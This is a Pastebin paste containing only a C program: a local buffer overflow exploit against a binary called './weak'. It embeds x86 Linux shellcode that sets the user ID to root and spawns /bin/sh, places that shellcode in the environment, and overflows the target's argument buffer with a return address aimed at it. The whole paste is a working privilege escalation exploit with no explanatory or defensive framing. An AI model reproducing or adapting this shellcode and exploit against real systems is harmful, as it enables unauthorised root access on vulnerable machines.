Advertisement
Guest User

Untitled

a guest
Jul 21st, 2017
62
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.60 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <unistd.h>
  5.  
  6.  
  7. int main(int argc, char *argv[]){
  8. unsigned int i, return_addr;
  9. char shell_code[] =
  10. "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
  11. "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
  12. "\xe1\xcd\x80";
  13. char *env[2] = {shell_code, 0};
  14. char *buffer = (char *) malloc(40);
  15. return_addr = 0xbffffffa - (sizeof(shell_code)-1) - strlen("./weak");
  16. for(i=0; i <40; i+=1)
  17. *((unsigned int *)(buffer+i)) = return_addr;
  18. execle("./weak", "weak", buffer, 0, env);
  19. free(buffer);
  20. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement